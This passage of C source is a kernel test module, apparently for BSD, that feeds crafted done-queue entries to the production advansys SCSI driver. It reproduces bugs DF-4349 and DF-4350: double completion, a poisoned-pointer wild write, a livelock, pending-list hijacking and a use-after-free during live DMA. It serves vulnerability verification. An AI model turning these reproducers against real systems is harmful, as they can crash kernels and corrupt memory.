	wps_disable();
	crit_exit();
	kprintf("df43xx[0]: after write_lram_16(0x304,0x5a5a): "
	    "lram16(0x304)=0x%04x (want 5a5a)\n",
	    *(u_int16_t *)&lram[0x304]);
	crit_enter();
	wps_enable();
	adv_write_lram_8_fn(rs->adv, 0x305, 0x11);
	wps_disable();
	crit_exit();
	kprintf("df43xx[0]: after write_lram_8(0x305,0x11): "
	    "lram16(0x304)=0x%04x (want 115a: read-modify-write byte lane)\n",
	    *(u_int16_t *)&lram[0x304]);

	/* done-info round trip through production adv_copy_lram_doneq */
	craft_doneq_tail(1);
	craft_done_entry(1, 0, 6, 0);
	craft_done_entry(6, 0x2A, 0xFF, 0x13579BDF);
	memset(&scsiq, 0xEE, sizeof(scsiq));
	crit_enter();
	wps_enable();
	sgcnt = adv_copy_lram_doneq_fn(rs->adv, 0x4000 + (6 << 6), &scsiq,
	    0xFFFFFFFF);
	wps_disable();
	crit_exit();
	kprintf("df43xx[0]: copy_lram_doneq sgcnt=%d ccb_index=0x%08x "
	    "(want 0000002a) q_status=%02x (want %02x) q_no=%d (want 6) "
	    "cntl=%02x sense_len=%02x done_stat=%02x (want 01) "
	    "host_stat=%02x scsi_stat=%02x remain=0x%08x (want 13579bdf)\n",
	    sgcnt, scsiq.d2.ccb_index, scsiq.q_status, QS_DONE, scsiq.q_no,
	    scsiq.cntl, scsiq.sense_len, scsiq.d3.done_stat,
	    scsiq.d3.host_stat, scsiq.d3.scsi_stat, scsiq.remain_bytes);
	if (scsiq.d2.ccb_index == 0x2A && scsiq.q_status == QS_DONE &&
	    scsiq.q_no == 6 && scsiq.d3.done_stat == QD_NO_ERROR &&
	    scsiq.d3.host_stat == QHSTA_NO_ERROR &&
	    scsiq.remain_bytes == 0x13579BDF && sgcnt == 0)
		kprintf("df43xx[0]: EMULATOR SELF-TEST PASS - production "
		    "accessors read the crafted LRAM exactly\n");
	else
		kprintf("df43xx[0]: *** EMULATOR SELF-TEST FAIL ***\n");

	rig_destroy(rs);
	return (0);
}

/* ------------------------------------------------------------------ */
/* scenario 1: CONTROL - one legitimate completion through adv_intr    */
/* ------------------------------------------------------------------ */
static int
sc_control(void)
{
	struct rig_softc *rs;
	struct adv_softc *adv;
	union ccb *ccb;

	memset(lram, 0, sizeof(lram));
	rs = rig_build(1, 1, 0);
	if (rs == NULL)
		return (ENOMEM);
	adv = rs->adv;
	ccb = rs->ccbs[0];

	craft_doneq_tail(1);			/* tail holder entry 1 */
	craft_done_entry(1, 0, 6, 0);		/* entry1.fwd = 6 */
	craft_done_entry(6, 0, 0xFF, 0x41424344); /* completes slot 0 */

	kprintf("df43xx[1]: dispatching production adv_intr: legit done "
	    "entry q6 ccb_index=0 (ACTIVE) fwd=0xff\n");
	crit_enter();
	wps_enable();
	kprintf("df43xx[1]: wps on, dispatching adv_intr\n");
	adv_intr_fn(adv);
	wps_disable();
	crit_exit();
	kprintf("df43xx[1]: adv_intr RETURNED (guest alive)\n");

	kprintf("df43xx[1]: post-state: slot0.state=0x%02x (ACCB_FREE=%02x) "
	    "free_ccb_infos.slh_first=%p (==&slot0: %s) "
	    "ccb_cinfo_ptr=%p (nulled: %s) ccb_h.status=0x%08x "
	    "(CAM_REQ_CMP=0x%02x) csio.resid=0x%08x (want 41424344)\n",
	    adv->ccb_infos[0].state, ACCB_FREE,
	    SLIST_FIRST(&adv->free_ccb_infos),
	    SLIST_FIRST(&adv->free_ccb_infos) == &adv->ccb_infos[0] ?
	    "YES" : "NO",
	    ccb->ccb_h.ccb_cinfo_ptr,
	    ccb->ccb_h.ccb_cinfo_ptr == NULL ? "YES" : "NO",
	    ccb->ccb_h.status, CAM_REQ_CMP, ccb->csio.resid);
	print_pending(adv, "[1]");
	kprintf("df43xx[1]: LRAM: entry6.status=0x%02x (marked-free "
	    "write-back, want %02x) doneq_tail=0x%04x (want 0006)\n",
	    lram[0x4000 + (6 << 6) + 2], QS_DONE & ~(QS_READY | QS_ABORTED),
	    *(u_int16_t *)&lram[0x5A]);

	rig_destroy(rs);
	return (0);
}

/* ------------------------------------------------------------------ */
/* scenario 2: DF-4349 facet A - duplicated entry for a completed slot */
/* ------------------------------------------------------------------ */
static int
sc_df4349_facetA(void)
{
	struct rig_softc *rs;
	struct adv_softc *adv;

	memset(lram, 0, sizeof(lram));
	rs = rig_build(1, 1, 0);
	if (rs == NULL)
		return (ENOMEM);
	adv = rs->adv;

	craft_doneq_tail(1);
	craft_done_entry(1, 0, 6, 0);
	craft_done_entry(6, 0, 7, 0x11111111);	/* complete slot 0 ... */
	craft_done_entry(7, 0, 0xFF, 0x22222222);/* ... and AGAIN */

	kprintf("df43xx[2]: DF-4349 facet A: done entries q6,q7 BOTH name "
	    "ccb_index=0; first completes the ACTIVE ccb, second "
	    "re-completes the now-ACCB_FREE slot through production "
	    "adv_run_doneq/adv_done - expect: 1 clean completion, then "
	    "stale LIST_REMOVE (:1127) + NULL-cinfo "
	    "adv_free_ccb_info (:1261) page fault at 0x0\n");
	crit_enter();
	wps_enable();
	kprintf("df43xx[2]: wps on, dispatching adv_intr\n");
	adv_intr_fn(adv);			/* <<< PRODUCTION CODE */
	wps_disable();
	crit_exit();
	kprintf("df43xx[2]: adv_intr RETURNED - no double completion "
	    "(patched kernel?)\n");
	rig_destroy(rs);
	return (0);
}

/* ------------------------------------------------------------------ */
/* scenario 3: DF-4349 facet B - never-allocated slot, poisoned ccb    */
/* ------------------------------------------------------------------ */
static int
sc_df4349_facetB(void)
{
	struct rig_softc *rs;
	struct adv_softc *adv;

	memset(lram, 0, sizeof(lram));
	rs = rig_build(1, 1, 1);			/* groom poison */
	if (rs == NULL)
		return (ENOMEM);
	adv = rs->adv;

	craft_doneq_tail(1);
	craft_done_entry(1, 0, 6, 0);
	craft_done_entry(6, 10, 0xFF, 0x33333333); /* slot 10: in bounds
						    * (< max_openings 16)
						    * but >= allocated 1 */

	kprintf("df43xx[3]: DF-4349 facet B: done entry q6 names "
	    "ccb_index=10 (in bounds, never allocated, ccb=poison) - "
	    "expect ccb->csio.resid write (advansys.c:1108) to fault at "
	    "0x%016jx\n",
	    (uintmax_t)(RIG_POISON + offsetof(union ccb, csio.resid)));
	crit_enter();
	wps_enable();
	kprintf("df43xx[3]: wps on, dispatching adv_intr\n");
	adv_intr_fn(adv);			/* <<< PRODUCTION CODE */
	wps_disable();
	crit_exit();
	kprintf("df43xx[3]: adv_intr RETURNED - no wild write (patched "
	    "kernel?)\n");
	rig_destroy(rs);
	return (0);
}

/* ------------------------------------------------------------------ */
/* scenario 4/6: DF-4350 - cyclic device-fed FWD chain                 */
/* ------------------------------------------------------------------ */
static struct rig_softc *cy_rs;
static struct thread	*cy_td;
static volatile int	 cy_entering, cy_returned, cy_hb;
static struct callout	 cy_co;
static struct timeval	 cy_t0;

static void
sc_df4350_setup(void)
{

	memset(lram, 0, sizeof(lram));
	cy_rs = rig_build(2, 2, 0);
	if (cy_rs == NULL)
		return;
	craft_doneq_tail(1);
	craft_done_entry(1, 0, 6, 0);
	craft_done_entry(6, 0, 7, 0);		/* entry 6 -> 7 */
	craft_done_entry(7, 1, 6, 0);		/* entry 7 -> 6: CYCLE */
}

static int
sc_df4350_sync(void)
{

	sc_df4350_setup();
	if (cy_rs == NULL)
		return (ENOMEM);
	kprintf("df43xx[4]: DF-4350: cyclic FWD chain 6->7->6 (slots 0,1 "
	    "ACTIVE). Shipped kernel: revisit double-completes slot 0 -> "
	    "panic. DF-4349-fixed kernel: entries dropped, walk NEVER "
	    "terminates (livelock). Both-fixed: budget break.\n");
	crit_enter();
	wps_enable();
	adv_intr_fn(cy_rs->adv);			/* <<< PRODUCTION CODE */
	wps_disable();
	crit_exit();
	kprintf("df43xx[4]: adv_intr RETURNED after %lu data-port "
	    "services (walk terminated - budget fix present?)\n", dbg_hits);
	rig_destroy(cy_rs);
	cy_rs = NULL;
	return (0);
}

static void
cy_main(void *arg)
{

	cy_entering = 1;
	microtime(&cy_t0);
	kprintf("df43xx[T]: entering production adv_intr with cyclic "
	    "FWD chain 6->7->6\n");
	crit_enter();
	wps_enable();
	adv_intr_fn(cy_rs->adv);			/* <<< PRODUCTION CODE */
	wps_disable();
	crit_exit();
	cy_returned = 1;
	kprintf("df43xx[T]: adv_intr RETURNED after %lu data-port "
	    "services (unreachable on livelocked kernel)\n", dbg_hits);
	cy_entering = 0;
	kthread_exit();
}

static void
cy_hb_fire(void *x)
{
	struct timeval t;

	if (cy_entering && !cy_returned) {
		microtime(&t);
		cy_hb++;
		kprintf("df43xx[HB]: *** NON-TERMINATION: %ld.%06ld s inside "
		    "adv_intr/adv_run_doneq, %lu LRAM data-port services and "
		    "climbing (kern.df43xx.dbg_hits) - the device-fed FWD "
		    "walk has no exit ***\n",
		    t.tv_sec - cy_t0.tv_sec, t.tv_usec - cy_t0.tv_usec,
		    dbg_hits);
		if (cy_hb < 3)
			callout_reset(&cy_co, 3 * hz, cy_hb_fire, NULL);
	}
}

static int
sc_df4350_thread(void)
{

	sc_df4350_setup();
	if (cy_rs == NULL)
		return (ENOMEM);
	callout_init(&cy_co);
	cy_hb = 0;
	cy_entering = cy_returned = 0;
	kthread_create(cy_main, NULL, &cy_td, "df43xx_cy");
	callout_reset(&cy_co, 3 * hz, cy_hb_fire, NULL);
	return (0);
}

/* ------------------------------------------------------------------ */
/* scenario 5: forensic double completion via production adv_done()    */
/* ------------------------------------------------------------------ */
static void
callout_nop(void *x)
{
}

static int
sc_forensic(void)
{
	struct rig_softc *rs;
	struct adv_softc *adv;
	union ccb *A, *B, *C, *D;
	struct adv_ccb_info *ci0;
	struct callout *coD;
	int callout_armed;

	/* ---------------- 5b: recycled-slot completion ---------------- */
	kprintf("df43xx[5b]: recycled-slot variant - duplicated entry "
	    "names a slot whose ccb_info was recycled onto a LIVE "
	    "transaction (cinfo->ccb now the new ccb, dmamap loaded)\n");
	memset(lram, 0, sizeof(lram));
	rs = rig_build(1, 1, 0);
	if (rs == NULL)
		return (ENOMEM);
	adv = rs->adv;
	A = rs->ccbs[0];
	ci0 = &adv->ccb_infos[0];

	/* data buffer for the LIVE transaction: physical address forced
	 * ABOVE the tag's 2GB lowaddr so the load genuinely bounces */
	rs->bufs[0] = contigmalloc(2048, M_DF43XX, M_INTWAIT | M_ZERO,
	    0x80000000UL, 0xFFFFFFFFUL, PAGE_SIZE, 0);
	if (rs->bufs[0] == NULL) {
		kprintf("df43xx[5b]: contigmalloc buffer failed\n");
		rig_destroy(rs);
		return (ENOMEM);
	}
	adv_done_fn(adv, A, QD_NO_ERROR, QHSTA_NO_ERROR,
	    SCSI_STATUS_OK, 1);			/* completion #1 - clean */
	kprintf("df43xx[5b]: after #1: slot0 FREE; recycling slot0 for a "
	    "new transaction and loading a LIVE data buffer:\n");
	/* adv_get_ccb_info(): pop from free list (production inline) */
	SLIST_REMOVE_HEAD(&adv->free_ccb_infos, links);
	ci0->state = ACCB_ACTIVE;
	rig_load(rs, 0, rs->bufs[0], 2048);
	kprintf("df43xx[5b]: LIVE mapping present (bpages=%p)\n",
	    map_bpages(ci0->dmamap));
	D = kmalloc(sizeof(union ccb), M_DF43XX, M_WAITOK | M_ZERO);
	coD = kmalloc(sizeof(*coD), M_DF43XX, M_WAITOK | M_ZERO);
	callout_init(coD);
	callout_reset(coD, 60 * hz, callout_nop, D);
	D->ccb_h.func_code = XPT_NOOP;
	D->ccb_h.flags = CAM_DIR_IN;			/* has a data buffer */
	D->ccb_h.status = CAM_REQ_INPROG | CAM_SIM_QUEUED;
	D->ccb_h.timeout_ch = coD;
	D->ccb_h.ccb_cinfo_ptr = ci0;
	ci0->ccb = D;					/* cinfo->ccb recycled */
	LIST_INSERT_HEAD(&adv->pending_ccbs, &D->ccb_h, sim_links.le);

	kprintf("df43xx[5b]: duplicated entry -> production adv_done on "
	    "the LIVE recycled ccb D:\n");
	adv_done_fn(adv, D, QD_NO_ERROR, QHSTA_NO_ERROR,
	    SCSI_STATUS_OK, 1);			/* <<< PRODUCTION */
	kprintf("df43xx[5b]: after: D timeout pending=%d (armed->stopped: "
	    "%s), dmamap bpages=%p (LIVE mapping UNLOADED while the "
	    "hardware transaction is still in flight: %s), slot0.state="
	    "0x%02x (slot handed back to free list with hardware still "
	    "executing), D.ccb_cinfo_ptr=%p, D.status=0x%08x - when the "
	    "firmware later completes this queue for real, adv_done runs "
	    "on freed/CAM-owned memory (double xpt_done UAF family)\n",
	    callout_pending(coD),
	    callout_pending(coD) == 0 ? "YES" : "no",
	    map_bpages(ci0->dmamap),
	    map_bpages(ci0->dmamap) == NULL ? "YES" : "no",
	    ci0->state, D->ccb_h.ccb_cinfo_ptr, D->ccb_h.status);

	kfree(D, M_DF43XX);
	kfree(coD, M_DF43XX);
	contigfree(rs->bufs[0], 2048, M_DF43XX);
	rs->bufs[0] = NULL;
	rs->cos[0] = NULL;	/* A's callout: A itself already freed path */
	rs->ccbs[0] = NULL;
	rig_destroy(rs);
	/* ---------------- 5a: stale-ccb double completion ------------- */
	memset(lram, 0, sizeof(lram));
	rs = rig_build(3, 3, 0);		/* slots 0,1,2 ACTIVE */
	if (rs == NULL)
		return (ENOMEM);
	adv = rs->adv;
	A = rs->ccbs[0];			/* slot 0 */
	B = rs->ccbs[1];			/* slot 1 */
	C = rs->ccbs[2];			/* slot 2 */
	ci0 = &adv->ccb_infos[0];

	/* pending list must be A(head) -> B: A.le_next=&B and
	 * A.le_prev=&head.lh_first - the stale-remove hijack below needs
	 * a non-NULL stale le_next. */
	LIST_REMOVE(&C->ccb_h, sim_links.le);
	LIST_REMOVE(&B->ccb_h, sim_links.le);
	LIST_REMOVE(&A->ccb_h, sim_links.le);
	LIST_INSERT_HEAD(&adv->pending_ccbs, &B->ccb_h, sim_links.le);
	LIST_INSERT_HEAD(&adv->pending_ccbs, &A->ccb_h, sim_links.le);
	/* list now: A -> B */
	kprintf("df43xx[5a]: initial pending list (head->tail):\n");
	print_pending(adv, "[5a]");

	/* arm A's timeout like adv_execute_ccb does */
	callout_reset(rs->cos[0], 60 * hz, callout_nop, A);
	callout_armed = callout_pending(rs->cos[0]);
	kprintf("df43xx[5a]: A timeout armed=%d\n", callout_armed);

	kprintf("df43xx[5a]: completion #1 (production adv_done on A, as "
	    "adv_run_doneq:1109 does for a legit entry):\n");
	adv_done_fn(adv, A, QD_NO_ERROR, QHSTA_NO_ERROR,
	    SCSI_STATUS_OK, /*q_no*/1);			/* <<< PRODUCTION */
	kprintf("df43xx[5a]: after #1: slot0.state=0x%02x free.slh_first="
	    "%p A.ccb_cinfo_ptr=%p A timeout pending=%d list:\n",
	    ci0->state, SLIST_FIRST(&adv->free_ccb_infos),
	    A->ccb_h.ccb_cinfo_ptr, callout_pending(rs->cos[0]));
	print_pending(adv, "[5a]");

	/* a new transaction queues at head (list: D -> B) */
	D = kmalloc(sizeof(union ccb), M_DF43XX, M_WAITOK | M_ZERO);
	coD = kmalloc(sizeof(*coD), M_DF43XX, M_WAITOK | M_ZERO);
	callout_init(coD);
	D->ccb_h.func_code = XPT_NOOP;
	D->ccb_h.flags = CAM_DIR_NONE;
	D->ccb_h.status = CAM_REQ_INPROG | CAM_SIM_QUEUED;
	D->ccb_h.timeout_ch = coD;
	LIST_INSERT_HEAD(&adv->pending_ccbs, &D->ccb_h, sim_links.le);
	kprintf("df43xx[5a]: new LIVE ccb D=%p queued at head; list:\n", D);
	print_pending(adv, "[5a]");

	/*
	 * DEVIATION (documented): production adv_done NULLed
	 * A.ccb_cinfo_ptr at :1266, so the unpatched second completion
	 * crashes in adv_free_ccb_info(adv, NULL) - proven by scenario 2.
	 * To OBSERVE the ops that precede that crash (the stale
	 * LIST_REMOVE at :1127 and the free-list self-cycle from a
	 * non-NULL cinfo) we restore the pointer; every op below up to
	 * the crash site is identical to production.
	 */
	A->ccb_h.ccb_cinfo_ptr = ci0;

	kprintf("df43xx[5a]: completion #2 (production adv_done on the "
	    "STALE A - exactly what a duplicated done entry drives):\n");
	adv_done_fn(adv, A, QD_NO_ERROR, QHSTA_NO_ERROR,
	    SCSI_STATUS_OK, /*q_no*/1);			/* <<< PRODUCTION */

	kprintf("df43xx[5a]: after #2:\n");
	print_pending(adv, "[5a]");
	kprintf("df43xx[5a]: LIST CORRUPTION CHECK: head=%p (was D=%p: "
	    "%s), B.le_prev==&head.lh_first: %s, D reachable from head: "
	    "%s\n",
	    (void *)LIST_FIRST(&adv->pending_ccbs), (void *)&D->ccb_h,
	    LIST_FIRST(&adv->pending_ccbs) == &D->ccb_h ? "unchanged" :
	    "*** HIJACKED BY STALE LIST_REMOVE ***",
	    B->ccb_h.sim_links.le.le_prev == &adv->pending_ccbs.lh_first ?
	    "YES (stale le_prev rewritten B's backlink)" : "no",
	    LIST_FIRST(&adv->pending_ccbs) == &D->ccb_h ? "yes" :
	    "*** NO - LIVE CCB D ORPHANED (timeout still armed, invisible "
	    "to adv_timeout walker) ***");
	kprintf("df43xx[5a]: FREE-LIST CHECK: free.slh_first=%p "
	    "(==&slot0: %s), slot0.links.sle_next=%p "
	    "(==&slot0: %s -> DOUBLE adv_free_ccb_info SELF-CYCLE: next "
	    "two allocations return the SAME ccb_info)\n",
	    SLIST_FIRST(&adv->free_ccb_infos),
	    SLIST_FIRST(&adv->free_ccb_infos) == ci0 ? "YES" : "no",
	    SLIST_FIRST(&adv->free_ccb_infos) ?
	    SLIST_FIRST(&adv->free_ccb_infos)->links.sle_next : NULL,
	    SLIST_FIRST(&adv->free_ccb_infos) &&
	    SLIST_FIRST(&adv->free_ccb_infos)->links.sle_next == ci0 ?
	    "YES" : "no");

	/* teardown without traversing the corrupted list */
	LIST_REMOVE(&D->ccb_h, sim_links.le);
	kfree(D, M_DF43XX);
	kfree(coD, M_DF43XX);
	/* B is still linked (via hijacked head walk) - detach defensively */
	if (LIST_FIRST(&adv->pending_ccbs) == &B->ccb_h)
		LIST_REMOVE(&B->ccb_h, sim_links.le);
	rs->bufs[0] = NULL;	/* A's map was never loaded in 5a */
	rig_destroy(rs);
	return (0);
}

/* ------------------------------------------------------------------ */
/* scenario 7: isolation - production adv_done DIRECTLY, no LRAM/WPs   */
/* ------------------------------------------------------------------ */
static int
sc_advdone_direct(void)
{
	struct rig_softc *rs;
	struct adv_softc *adv;
	union ccb *A;

	rs = rig_build(1, 1, 0);
	if (rs == NULL)
		return (ENOMEM);
	adv = rs->adv;
	A = rs->ccbs[0];
	kprintf("df43xx[7]: isolation: production adv_done on ACTIVE ccb "
	    "(no watchpoints, no LRAM): list:\n");
	print_pending(adv, "[7]");
	adv_done_fn(adv, A, QD_NO_ERROR, QHSTA_NO_ERROR,
	    SCSI_STATUS_OK, 1);				/* <<< PRODUCTION */
	kprintf("df43xx[7]: adv_done RETURNED: status=0x%08x resid ok, "
	    "slot0.state=0x%02x list:\n",
	    A->ccb_h.status, adv->ccb_infos[0].state);
	print_pending(adv, "[7]");
	rig_destroy(rs);
	return (0);
}

/* ------------------------------------------------------------------ */
/* scenario 8: isolation - adv_intr with an EMPTY done queue           */
/* (exercises the register prologue + ack + HOST_FLAG LRAM ops only)   */
/* ------------------------------------------------------------------ */
static int
sc_advintr_empty(void)
{
	struct rig_softc *rs;

	memset(lram, 0, sizeof(lram));
	rs = rig_build(1, 1, 0);
	if (rs == NULL)
		return (ENOMEM);
	craft_doneq_tail(1);
	lram[0x4000 + (1 << 6) + 0] = 0xFF;	/* entry1.fwd = QLINK_END:
						 * empty done queue */
	kprintf("df43xx[8]: isolation: production adv_intr, EMPTY done "
	    "queue (walk loop never entered)\n");
	crit_enter();
	wps_enable();
	kprintf("df43xx[8]: wps on, dispatching adv_intr\n");
	adv_intr_fn(rs->adv);
	wps_disable();
	crit_exit();
	kprintf("df43xx[8]: adv_intr RETURNED (guest alive)\n");
	rig_destroy(rs);
	return (0);
}

/* ------------------------------------------------------------------ */
/* sysctl plumbing                                                     */
/* ------------------------------------------------------------------ */
static int
df43xx_go_sysctl(SYSCTL_HANDLER_ARGS)
{
	int val, error;

	val = df43xx_go;
	error = sysctl_handle_int(oidp, &val, 0, req);
	if (error || req->newptr == NULL)
		return (error);
	df43xx_go = val;

	if (a_adv_intr <= 1 || a_adv_done <= 1 ||
	    a_adv_copy_lram_doneq <= 1) {
		kprintf("df43xx: production addresses not set yet\n");
		return (EINVAL);
	}
	adv_intr_fn = (fn_adv_intr)a_adv_intr;
	adv_done_fn = (fn_adv_done)a_adv_done;
	adv_copy_lram_doneq_fn = (fn_adv_copy_lram_doneq)a_adv_copy_lram_doneq;
	adv_read_lram_16_fn = (fn_adv_read_lram_16)a_adv_read_lram_16;
	adv_read_lram_8_fn = (fn_adv_read_lram_8)a_adv_read_lram_8;
	adv_write_lram_16_fn = (fn_adv_write_lram_16)a_adv_write_lram_16;
	adv_write_lram_8_fn = (fn_adv_write_lram_8)a_adv_write_lram_8;

	switch (val) {
	case 0:	return (sc_selftest());
	case 1:	return (sc_control());
	case 2:	return (sc_df4349_facetA());
	case 3:	return (sc_df4349_facetB());
	case 4:	return (sc_df4350_sync());
	case 5:	return (sc_forensic());
	case 6:	return (sc_df4350_thread());
	case 7:	return (sc_advdone_direct());
	case 8:	return (sc_advintr_empty());
	default: return (EINVAL);
	}
}

static SYSCTL_NODE(_kern, OID_AUTO, df43xx, CTLFLAG_RW, 0,
    "DF-4349/4350 advansys verification rig");
SYSCTL_ULONG(_kern_df43xx, OID_AUTO, intr, CTLFLAG_RW, &a_adv_intr, 0,
    "runtime address of production adv_intr");
SYSCTL_ULONG(_kern_df43xx, OID_AUTO, done, CTLFLAG_RW, &a_adv_done, 0,
    "runtime address of production adv_done");
SYSCTL_ULONG(_kern_df43xx, OID_AUTO, copyq, CTLFLAG_RW,
    &a_adv_copy_lram_doneq, 0,
    "runtime address of production adv_copy_lram_doneq");
SYSCTL_ULONG(_kern_df43xx, OID_AUTO, rl16, CTLFLAG_RW,
    &a_adv_read_lram_16, 0, "runtime address of adv_read_lram_16");
SYSCTL_ULONG(_kern_df43xx, OID_AUTO, rl8, CTLFLAG_RW,
    &a_adv_read_lram_8, 0, "runtime address of adv_read_lram_8");
SYSCTL_ULONG(_kern_df43xx, OID_AUTO, wl16, CTLFLAG_RW,
    &a_adv_write_lram_16, 0, "runtime address of adv_write_lram_16");
SYSCTL_ULONG(_kern_df43xx, OID_AUTO, wl8, CTLFLAG_RW,
    &a_adv_write_lram_8, 0, "runtime address of adv_write_lram_8");
SYSCTL_ULONG(_kern_df43xx, OID_AUTO, dbg_hits, CTLFLAG_RD,
    &dbg_hits, 0, "LRAM data-port services (livelock proof)");
SYSCTL_PROC(_kern_df43xx, OID_AUTO, go, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, df43xx_go_sysctl, "I",
    "0=selftest 1=control 2=DF4349-A 3=DF4349-B 4=DF4350 5=forensic 6=DF4350-thread 7=adv_done-direct 8=adv_intr-empty");

static int
df43xx_modevent(module_t mod, int type, void *data)
{

	switch (type) {
	case MOD_LOAD: {
		bus_dma_tag_t t;
		bus_dmamap_t m;

		adv_intr_fn = (fn_adv_intr)1;
		/*
		 * Pre-create the shared busdma bounce zone at kldload time
		 * (driver-attach context).  The FIRST bounce-zone creation
		 * registers a sysctl node (SYSCTL_ADD_NODE in
		 * alloc_bounce_zone); doing that from inside a sysctl WRITE
		 * handler (our scenario dispatch) deadlocks the oid tree.
		 * After this, scenario tags with lowaddr >= 0x7FFFFFFF
		 * reuse the zone without touching the sysctl tree.
		 */
		if (bus_dma_tag_create(NULL, 1, 0, 0x7FFFFFFF,
		    BUS_SPACE_MAXADDR, MAXPHYS, 16, BUS_SPACE_MAXSIZE_32BIT,
		    0, &t) == 0) {
			if (bus_dmamap_create(t, 0, &m) == 0 && m != NULL)
				bus_dmamap_destroy(t, m);
			bus_dma_tag_destroy(t);
		}
		kprintf("df43xx: rig loaded (bounce zone pre-created; set "
		    "kern.df43xx.* from nm, then kern.df43xx.go=N)\n");
		return (0);
	}
	case MOD_UNLOAD:
		if (cy_entering && !cy_returned) {
			kprintf("df43xx: T still spinning inside "
			    "adv_run_doneq - unload refused\n");
			return (EBUSY);
		}
		wps_disable();
		return (0);
	default:
		return (EOPNOTSUPP);
	}
}

static moduledata_t df43xx_mod = { "df43xx_rig", df43xx_modevent, 0 };
DECLARE_MODULE(df43xx_rig, df43xx_mod, SI_SUB_DRIVERS, SI_ORDER_ANY);